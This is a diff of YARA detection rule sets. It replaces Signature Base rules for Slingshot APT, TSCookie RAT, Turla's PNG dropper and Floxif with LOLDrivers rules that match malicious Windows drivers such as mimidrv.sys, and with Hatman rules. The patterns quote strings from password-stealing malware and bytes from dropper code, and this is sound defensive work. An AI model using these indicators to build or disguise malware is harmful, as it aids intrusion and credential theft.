-		description = "Detects malware from Slingshot APT"
-		author = "Florian Roth (Nextron Systems)"
-		id = "b5301a45-a4ec-5e56-a990-bc6300ee6365"
-		date = "2018-03-09"
-		modified = "2023-12-05"
-		reference = "https://securelist.com/apt-slingshot/84312/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_slingshot.yar#L40-L58"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c231158e44de01585e9fb4bd9768b388016972e2026e049070cdc6cd35362609"
-		score = 75
-		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - wantd_2.sys"
+		author = "Florian Roth"
+		id = "3bd8b888-8170-5da6-ba1c-f13c1ca27e6f"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_mal_drivers.yar#L505-L524"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "6908ebf52eb19c6719a0b508d1e2128f198d10441551cbfb9f4031d382f5229f"
+		logic_hash = "9cde0a399b852038979993375be2a6d0f9f9f760381e94df0190256e8810949f"
+		score = 70
+		quality = 80
+		tags = ""
 
 	strings:
-		$s1 = " -> Missing element in DataDir -- cannot install" ascii
-		$s2 = " -> Primary loader not present in the DataDir" ascii
-		$s3 = "\\\\.\\amxpci" fullword ascii
-		$s4 = " -> [Goad] ERROR in CreateFile:" fullword ascii
-		$s5 = "\\\\.\\Sandra" fullword ascii
-		$s6 = " -> [Sandra] RingZeroCode" fullword ascii
-		$s7 = " -> [Sandra] Value from IOCTL_RDMSR:" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00570041004e0020005400720061006e00730070006f007200740020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003900330038 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003900330038 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00770061006e00740064002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d006900630072006f0073006f00660074002000570069006e0064006f007700730020004f007000650072006100740069006e0067002000530079007300740065006d }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00770061006e00740064002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3000KB and 1 of them
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Slingshot_APT_Malware_1 : FILE
+rule LOLDRIVERS_MAL_Driver_Microsoftcorporation_Srvnetsys_Microsoftwindowsoperatingsystem_F6C3
 {
 	meta:
-		description = "Detects malware from Slingshot APT"
-		author = "Florian Roth (Nextron Systems)"
-		id = "72f4a52b-c70b-511f-acf5-6d680a95c7d6"
-		date = "2018-03-09"
-		modified = "2023-12-05"
-		reference = "https://securelist.com/apt-slingshot/84312/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_slingshot.yar#L60-L79"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "43cf94058fe3833a4623ecb784eea50e199536d4903fb9457843b7b5e9a244e3"
-		score = 75
-		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "4b250304e28648574b441831bf579b844e8e1fda941fb7f86a7ea7c4291bbca6"
+		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - WinTapix.sys, SRVNET2.SYS"
+		author = "Florian Roth"
+		id = "3559718f-59d7-5bff-860c-6a073f4c05d9"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_mal_drivers.yar#L527-L546"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "f6c316e2385f2694d47e936b0ac4bc9b55e279d530dd5e805f0d963cb47c3c0d"
+		logic_hash = "ab1aea5cec71668c0e35ea149b9e537c8468738c3b3e70382ebedf51bb8729d0"
+		score = 70
+		quality = 80
+		tags = ""
 
 	strings:
-		$s1 = "SlingDll.dll" fullword ascii
-		$s2 = "BogusDll." ascii
-		$s3 = "smsvcrt -h 0x%p" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0053006500720076006500720020004e006500740077006f0072006b0020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0030002e00310038003300360032002e0036003900330020002800570069006e004200750069006c0064002e003100360030003100300031002e00300038003000300029 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0030002e00310038003300360032002e003600390033 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]005300520056004e004500540032002e005300590053 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d006900630072006f0073006f0066007400ae002000570069006e0064006f0077007300ae0020004f007000650072006100740069006e0067002000530079007300740065006d }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]005300520056004e004500540032002e005300590053 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <700KB and (pe.imphash()=="7ead4bb0d752003ce7c062adb7ffc51a" or pe.exports("WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW0000") or 1 of them )
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Slingshot_APT_Malware_2 : FILE
+rule LOLDRIVERS_MAL_Driver_Microsoftcorporation_Wantdsys_Microsoftwindowsoperatingsystem_81C7
 {
 	meta:
-		description = "Detects malware from Slingshot APT"
-		author = "Florian Roth (Nextron Systems)"
-		id = "b85d3d81-0148-5ea0-9eff-d9bb63e3e75b"
-		date = "2018-03-09"
-		modified = "2023-12-05"
-		reference = "https://securelist.com/apt-slingshot/84312/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_slingshot.yar#L81-L100"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d56dadf747c64cb518ddc9aaee38fd50c67fe7344d7569d9ef3169099e7f36c5"
-		score = 75
-		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "2a51ef6d115daa648ddd57d1e4480f5a18daf40986bfde32aab19349aa010e67"
+		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - wantd_3.sys"
+		author = "Florian Roth"
+		id = "43ae822a-c4c4-5525-bfd3-a05d1ec50bd0"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_mal_drivers.yar#L549-L568"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "81c7bb39100d358f8286da5e9aa838606c98dfcc263e9a82ed91cd438cb130d1"
+		logic_hash = "ec9e321bbc89bffb6243e3edde45e60dc06513e88dfb9a262768ef081db60c5b"
+		score = 70
+		quality = 80
+		tags = ""
 
 	strings:
-		$x1 = "\\\\?\\c:\\RECYCLER\\S-1-5-21-2225084468-623340172-1005306204-500\\INFO5" fullword wide
-		$x_slingshot = {09 46 BE 57 42 DD 70 35 5E }
-		$s1 = "Opening service %s for stop access failed.#" fullword wide
-		$s2 = "LanMan setting <%s> is ignored because system has a higher value already." fullword wide
-		$s3 = "\\DosDevices\\amxpci" wide
-		$s4 = "lNTLMqSpPD" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00570041004e0020005400720061006e00730070006f007200740020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e0032002e0033003700390030002e003900330038 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e0032002e0033003700390030002e003900330038 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00770061006e00740064002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d006900630072006f0073006f00660074002000570069006e0064006f007700730020004f007000650072006100740069006e0067002000530079007300740065006d }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00770061006e00740064002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <900KB and (1 of ($x*) or 4 of them )
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Slingshot_APT_Malware_3 : FILE
+rule LOLDRIVERS_MAL_Driver_773B
 {
 	meta:
-		description = "Detects malware from Slingshot APT"
-		author = "Florian Roth (Nextron Systems)"
-		id = "4ef1f9a6-3d80-545e-8ac3-c6d46c71fca1"
-		date = "2018-03-09"
-		modified = "2023-12-05"
-		reference = "https://securelist.com/apt-slingshot/84312/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_slingshot.yar#L102-L122"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "420c54ce90a13258e0dd54524fe7df4dd97d3e8f1eeaa8ca14350670a87e87c6"
-		score = 75
-		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "fa513c65cded25a7992e2b0ab03c5dd5c6d0fc2282cd64a1e11a387a3341ce18"
+		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - mimidrv.sys"
+		author = "Florian Roth"
+		id = "f47ab2f1-86f6-5550-939e-4477ec1c367c"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_mal_drivers.yar#L571-L585"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "773b4a1efb9932dd5116c93d06681990759343dfe13c0858d09245bc610d5894"
+		logic_hash = "5e01850384ac0dc0e9f33e3e217e0e824cfe3c2bb46feff94dffa070f2f7c9a0"
+		score = 70
+		quality = 80
+		tags = ""
 
 	strings:
-		$a1 = "chmhlpr.dll" fullword ascii
-		$s2 = "%hc%hc%hc%hc" fullword ascii
-		$s3 = "%hc%hc%hc=" fullword ascii
-		$s4 = "%hc%hc==" fullword ascii
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0031002e0031002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0031002e0031002e0030 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003000370020002d002000320030003100370020 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and (pe.imphash()=="2f3b3df466e24e0792e0e90d668856bc" or pe.exports("dll_u") or ($a1 and 2 of ($s*)))
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Slingshot_APT_Malware_4 : FILE
+rule LOLDRIVERS_MAL_Driver_Sensecorp_7F45
 {
 	meta:
-		description = "Detects malware from Slingshot APT"
-		author = "Florian Roth (Nextron Systems)"
-		id = "0f957330-1834-550f-ba5d-fb2bf0dfba7f"
-		date = "2018-03-09"
-		modified = "2023-12-05"
-		reference = "https://securelist.com/apt-slingshot/84312/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_slingshot.yar#L124-L144"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a9f4b7b4079ebd5ffbee4c82032d28b0015968cb369fae2b0f19b054bf5a1c3c"
-		score = 75
-		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "38c4f5320b03cbaf5c14997ea321507730a8c16906e5906cbf458139c91d5945"
+		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - Sense5Ext.sys"
+		author = "Florian Roth"
+		id = "6c1f5ba4-fd14-5069-9d99-e3072b2dbbc2"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_mal_drivers.yar#L588-L604"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "7f4555a940ce1156c9bcea9a2a0b801f9a5e44ec9400b61b14a7b1a6404ffdf6"
+		logic_hash = "dbef723d7e44da110675402fc13708c5b077eeb6a66c1772885f5879d795ec4e"
+		score = 70
+		quality = 80
+		tags = ""
 
 	strings:
-		$x1 = "Ss -a 4104 -s 257092 -o 8 -l 406016 -r 4096 -z 315440" fullword wide
-		$s1 = "Slingshot" fullword ascii
-		$s2 = "\\\\?\\e:\\$Recycle.Bin\\" wide
-		$s3 = "LineRecs.reloc" fullword ascii
-		$s4 = "EXITGNG" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530065006e0073006500350020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00530065006e00730065003500200043004f00520050 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0036002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0036002e0030002e0030 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320032 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and ($x1 or 2 of them )
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Tscookie_RAT : FILE
+rule LOLDRIVERS_MAL_Driver_Microsoftcorporation_Ndislansys_Microsoftwindowsoperatingsystem_B0EB
 {
 	meta:
-		description = "Detects TSCookie RAT"
-		author = "Florian Roth (Nextron Systems)"
-		id = "a2b6c598-4498-5c0a-9257-b0bf6cd28de9"
-		date = "2018-03-06"
-		modified = "2023-12-05"
-		reference = "http://blog.jpcert.or.jp/2018/03/malware-tscooki-7aa0.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_tscookie_rat.yar#L13-L32"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c6121c541a77219b17351787973a4bc06a8d941ebd5f9e5e1e14ad4740a3fe7b"
-		score = 75
-		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "2bd13d63797864a70b775bd1994016f5052dc8fd1fd83ce1c13234b5d304330d"
+		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ndislan.sys"
+		author = "Florian Roth"
+		id = "c94adcf3-2ea6-5856-9327-2e5ed1c49b22"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_mal_drivers.yar#L607-L626"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "b0eb4d999e4e0e7c2e33ff081e847c87b49940eb24a9e0794c6aa9516832c427"
+		logic_hash = "4b92b69636dea19a23172def47e9a1bbd4507075ec118b48db30fec377b8fbff"
+		score = 70
+		quality = 80
+		tags = ""
 
 	strings:
-		$x1 = "[-] DecryptPassword_Outlook failed(err=%d)" fullword ascii
-		$x2 = "----------------------- Firefox Passwords ------------------" fullword ascii
-		$x3 = "--------------- Outlook Passwords ------------------" fullword ascii
-		$x4 = "----------------------- IE Passwords ------------------" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004d00530020004c0041004e0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e0031003400320031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e0031003400320031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e006400690073006c0061006e002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d006900630072006f0073006f0066007400ae002000570069006e0064006f0077007300ae0020004f007000650072006100740069006e0067002000530079007300740065006d }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e006400690073006c0061006e002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and ((pe.exports("DoWork") and pe.exports("PrintF")) or 1 of them )
+		all of them
 }
-import "pe"
+/*
+ * YARA Rule Set
+ * Repository Name: Signature Base
+ * Repository: https://github.com/Neo23x0/signature-base
+ * Retrieval Date: 2024-09-01
+ * Git Commit: c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358
+ * Number of Rules: 4279
+ * Skipped: 0 (age), 6 (quality), 4 (score), 0 (importance)
+ *
+ *
+ * LICENSE
+ *
+ * # Detection Rule License (DRL) 1.1
 
-rule SIGNATURE_BASE_Turla_Png_Dropper : FILE
-{
-	meta:
-		description = "Detects the PNG Dropper used by the Turla group"
-		author = "Ben Humphrey"
-		id = "459f17c8-0eae-5736-8c7c-286625dc158f"
-		date = "2018-11-23"
-		modified = "2023-12-05"
-		reference = "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/november/turla-png-dropper-is-back/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_turla_png_dropper_nov18.yar#L3-L49"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c859310660603d0748cf17daea0799af7684f2a9f77f729871eb57338fbfcca6"
-		score = 75
-		quality = 85
-		tags = "FILE"
-		hash1 = "6ed939f59476fd31dc4d99e96136e928fbd88aec0d9c59846092c0e93a3c0e27"
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this rule set and associated documentation files (the "Rules"), to deal
+in the Rules without restriction, including without limitation the rights to
+use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
+of the Rules, and to permit persons to whom the Rules are furnished to do so,
+subject to the following conditions:
 
-	strings:
-		$api0 = "GdiplusStartup"
-		$api1 = "GdipAlloc"
-		$api2 = "GdipCreateBitmapFromStreamICM"
-		$api3 = "GdipBitmapLockBits"
-		$api4 = "GdipGetImageWidth"
-		$api5 = "GdipGetImageHeight"
-		$api6 = "GdiplusShutdown"
-		$code32 = {
-            8B 46 3C               // mov     eax, [esi+3Ch]
-            B9 0B 01 00 00         // mov     ecx, 10Bh
-            66 39 4C 30 18         // cmp     [eax+esi+18h], cx
-            8B 44 30 28            // mov     eax, [eax+esi+28h]
-            6A 00                  // push    0
-            B9 AF BE AD DE         // mov     ecx, 0DEADBEAFh
-            51                     // push    ecx
-            51                     // push    ecx
-            03 C6                  // add     eax, esi
-            56                     // push    esi
-            FF D0                  // call eax
-        }
-		$code64 = {
-            48 63 43 3C            // movsxd rax, dword ptr [rbx+3Ch]
-            B9 0B 01 00 00         // mov ecx, 10Bh
-            BA AF BE AD DE         // mov edx, 0DEADBEAFh
-            66 39 4C 18 18         // cmp [rax+rbx+18h], cx
-            8B 44 18 28            // mov eax, [rax+rbx+28h]
-            45 33 C9               // xor r9d, r9d
-            44 8B C2               // mov r8d, edx
-            48 8B CB               // mov rcx, rbx
-            48 03 C3               // add rax, rbx
-            FF D0                  // call rax
-        }
+If you share the Rules (including in modified form), you must retain the
+following if it is supplied within the Rules:
 
-	condition:
-		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and all of ($api*) and 1 of ($code*)
-}
-import "pe"
+1. identification of the authors(s) ("author" field) of the Rule and any
+   others designated to receive attribution, in any reasonable manner
+   requested by the Rule author (including by pseudonym if designated).
 
-rule SIGNATURE_BASE_Turla_Png_Reg_Enum_Payload : FILE
+2. a URI or hyperlink to the Rule set or explicit Rule to the extent
+   reasonably practicable
+
+3. indicate the Rules are licensed under this Detection Rule License, and
+   include the text of, or the URI or hyperlink to, this Detection Rule
+   License to the extent reasonably practicable
+
+If you use the Rules (including in modified form) on data, messages based on
+matches with the Rules must retain the following if it is supplied within the
+Rules:
+
+1. identification of the authors(s) ("author" field) of the Rule and any
+   others designated to receive attribution, in any reasonable manner
+   requested by the Rule author (including by pseudonym if designated).
+
+THE RULES ARE PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE RULES OR THE USE OR OTHER DEALINGS IN THE
+RULES.
+
+ */
+private rule SIGNATURE_BASE_Hatman_Mftmsr_PRIVATE : HATMAN
 {
 	meta:
-		description = "Payload that has most recently been dropped by the Turla PNG Dropper"
-		author = "Ben Humphrey"
-		id = "413bb315-3c01-56ab-92db-00342a11438a"
-		date = "2018-11-23"
+		description = "No description has been set in the source file - Signature Base"
+		author = "Florian Roth"
+		id = "cbbd6008-7722-5d92-bb82-73c8b2b6bea9"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/november/turla-png-dropper-is-back/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_turla_png_dropper_nov18.yar#L51-L77"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b01d0c3a26ce955570ed5607514906bd8860f36637957e39a15f74a7dbb1a1e6"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hatman.yar#L65-L73"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a03a3f5c583843acb216a8edefceaa1e89248fe72db49bcd906d2183998b1674"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "fea27eb2e939e930c8617dcf64366d1649988f30555f6ee9cd09fe54e4bc22b3"
+		tags = "HATMAN"
 
 	strings:
-		$crypt00 = "Microsoft Software Key Storage Provider" wide
-		$crypt01 = "ChainingModeCBC" wide
+		$mfmsr_be = { 7c 63 00 a6 }
+		$mfmsr_le = { a6 00 63 7c }
+		$mtmsr_be = { 7c 63 01 24 }
+		$mtmsr_le = { 24 01 63 7c }
 
 	condition:
-		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and pe.imports("advapi32.dll","StartServiceCtrlDispatcherA") and pe.imports("advapi32.dll","RegEnumValueA") and pe.imports("advapi32.dll","RegEnumKeyExA") and pe.imports("ncrypt.dll","NCryptOpenStorageProvider") and pe.imports("ncrypt.dll","NCryptEnumKeys") and pe.imports("ncrypt.dll","NCryptOpenKey") and pe.imports("ncrypt.dll","NCryptDecrypt") and pe.imports("ncrypt.dll","BCryptGenerateSymmetricKey") and pe.imports("ncrypt.dll","BCryptGetProperty") and pe.imports("ncrypt.dll","BCryptDecrypt") and pe.imports("ncrypt.dll","BCryptEncrypt") and all of them
+		($mfmsr_be and $mtmsr_be) or ($mfmsr_le and $mtmsr_le)
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Floxif_Generic : FILE
+private rule SIGNATURE_BASE_Hatman_Origcode_PRIVATE : HATMAN
 {
 	meta:
-		description = "Detects Floxif Malware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "5ddd6a6c-b02a-518b-bbe3-8f528b3d7eae"
-		date = "2018-05-11"
+		description = "No description has been set in the source file - Signature Base"
+		author = "Florian Roth"
+		id = "582b4cb6-54b5-5128-8c42-6759ec0f3976"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_floxif_flystudio.yar#L3-L18"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1996f717100d9f1abc2ed3f1e9d0c55daec09654c0f99987ddaea9e9f0d17008"
-		score = 80
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hatman.yar#L58-L64"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f6286e084bdbf3e2730a1aa3b7e302c1611c987447e083780e2d03000d1d226e"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "de055a89de246e629a8694bde18af2b1605e4b9b493c7e4aef669dd67acf5085"
+		tags = "HATMAN"
+
+	strings:
+		$ocode_be = { 3c 00 00 03  60 00 a0 b0  7c 09 03 a6  4e 80 04 20 }
+		$ocode_le = { 03 00 00 3c  b0 a0 00 60  a6 03 09 7c  20 04 80 4e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and (pe.imphash()=="2f4ddcfebbcad3bacadc879747151f6f" or pe.exports("FloodFix") or pe.exports("FloodFix2"))
+		$ocode_be or $ocode_le
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_CN_Flystudio_May18_1 : FILE
+private rule SIGNATURE_BASE_Hatman_Loadoff_PRIVATE : HATMAN
 {
 	meta:
-		description = "Detects malware / hacktool detected in May 2018"
-		author = "Florian Roth (Nextron Systems)"
-		id = "b78b9ea0-5eef-5922-b5d7-d3c5ddce7fad"
-		date = "2018-05-11"
+		description = "No description has been set in the source file - Signature Base"
+		author = "Florian Roth"
+		id = "1ad2f77b-4360-512d-ac06-9933ac2cdc67"
+		date = "2023-12-05"
